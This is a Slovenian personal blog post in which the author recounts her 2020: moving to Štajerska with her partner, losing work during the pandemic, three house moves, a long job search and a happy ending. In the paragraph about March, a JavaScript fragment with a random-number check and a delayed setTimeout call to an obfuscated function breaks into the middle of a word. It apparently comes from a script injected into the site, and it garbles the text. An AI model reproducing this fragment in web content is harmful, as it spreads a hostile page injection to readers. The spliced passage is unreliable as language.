Kaj vse je vsak izmed nas v letu 2020 doživel!

Ne bom jamrala, ker to ni moj namen. Pa vendar imam tudi svojo zgodbo. In kot vedno pravim: “Če se je leto začelo slabo, se zaključuje na najboljši možen način.” In to je moje leto…

V začetku leta sva se s partnerjem odločila da se vseliva skupaj. Kot Gorenjka živeča v Ljubljani in on Štajerc… Sem se odločila, da mi ni problem priti na Štajersko. Bom pač začela na novo. Fresh start. Novo stanovanje, nova služba, novo okolje, novo narečje (ki se ga po osmih mesecih še vedno navajam).

Zdelo se je preprosto. Ker imam rada nove stvari, nove dogodivščine in novo znanje, se mi je vse skupaj zdelo mala mal’ca. Aha…

Prišel je marec in prišla je epidemija, pandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andemija, pač nek novi virus… Pa o tem ne bom razpravljala, ker to ni moj namen in ker ima vsak svoje mnenje.

Do takrat sem pustila službo in se dogovorila, da se izselim iz stanovanja do 1. maja.

Začela sem počasi že iskati stanovanje in novo službo, ampak potem se je vse zaprlo in omejilo na občine.

To pa bo izziv! Sem si mislila, pa vseeno obdržala pozitivnost v sebi.

Prišel je april in končno sva našla stanovanje. Super, še službo najdem in to je to. Ampak, v tem času, točno 1. aprila, je partner izgubil službo, kjer je imel pogodbo za nedoločen čas. Torej sva oba iskala službo.

Hvaležna sem, da so me doma vzgajali, da varčujem. Ker če ne bi imela prihrankov, ne vem kako bi šlo naprej. Iz zelo lepe plače, sem prišla na 0.

Potem pa še en udarec. V tisto stanovanje se nisva mogla vseliti, ker so pač ljudje nesramni in te nategujejo, tako da sva poleg služb morala najti še stanovanje. Bilo je samo še 14 dni do izselitve. Stene sva že pobelila v mojem stanovanju, pakirala po škatlah moje stvari… Stanovanja pa še nisva imela. Ne vem kdo od naju je bil bolj na tleh, ampak nekako sem sama poskušala ostati pozitivna, češ ” vse je tako, kot mora biti!” In sčasoma se je pokazalo, da je res tako.

Ker so bili ljudje takrat v strahu zaradi virusa, je bilo zeloo malo stanovanj za najem in redkokdo je dovolil ogled stanovanja.

Teden pred izselitvijo pa se nama je končno nasmehnila sreča – našla sva luškano in poceni stanovanje. Določila sva datum selitve, si sposodila kombi in prosila njegovega brata in prijatelja za pomoč pri selitvi.

Stanovanje ni bilo ne vem kaj, saj je bilo staro in kar nekaj pohištva sva morala dokupiti. Ampak, končno sva našla poceni stanovanje. Zdaj pa samo še službi najdeva in to je to!

Skupaj sva poslala čez 100 prijav za delo, se udeležila nešteto razgovorov. Ne za ne-jem. Marsikdo ni odpisal, veliko je bilo zavrnitev na prijave, niti eden od razgovorov pa ni bil uspešen. Sčasoma sva izgubljala voljo in energijo.

Ko že misliš, da slabše ne more biti, pa sva se v juliju skorajda čez noč morala izseliti iz tega stanovanja. Čeprav smo imeli pogodbo za eno leto. A kot sem že prej omenila marsikdo zna biti nesramen, egoističen in te vsak, ki ima 2 minuti časa, rajši nategne.

Začel se je lov za novo stanovanje. Ogromno katastrofalnih ali predragih stanovanj. A potem sva imela še zadnje stanovanje na seznamu. Oba sva bila že naveličana, razočarana in obupana.

A zadnje stanovanje se je izkazalo za tisto pravo. Poleg modernega in prostornega stanovanja, pa sva zraven dobila še dvigalo in parkirno garažo za čisto normalno mesečno najemnino na odlični lokaciji. Ampak… na stanovanje je bilo potrebno počakati 2 meseca, midva pa sva stanovanje potrebovala naslednji teden.

Najini družini sta čudoviti. Ponudili so nama, da se vseliva, dokler ne najdeva novo stanovanje. Ampak, ali greva na Gorenjsko z vso to »kramo« ali pa ostaneva na Štajerskem, kjer imava namen ostati dolgoročno?

Odgovor je bil jasen. Preselila sva se k njegovim. Za dva meseca. Še vedno sva iskala službi, še vedno sva bila brezposelna, prihrankov pa vedno manj.

Še vedno verjamem v čudeže. Ker je vse tako, kot mora biti. Ker se na najboljše stvari splača počakati. In ker si vsak zasluži le najboljše. Tisti dan, ko sva podpisala pogodbo ob vselitvi v novo stanovanje, se nama je odprl svet. Oba sva dobila službo. In končno sva oba normalno zadihala.

Torej kakšno je bilo moje leto 2020?

Hm… polno izzivov, 3 selitve, pol leta iskanje službe, a hkrati polno ljubezni, topline, veselja, uspehov, ustvarjanja.

Ne glede na vse na koncu dneva sva imela in imava drug drugega. Podporo, razumevanje, zdravje, ljubezen.

Vsem, od najinih družin do prijateljev, ki so nama v tem letu tako ali drugače pomagali – se vsem iz srca zahvaljujeva!

 

Tebi, ki to bereš pa želim, da bo leto 2021 še bolj veselo, zdravo, uspešno, ljubeče, predvsem pa magično!

 

Hvala, ker si!

Evelyn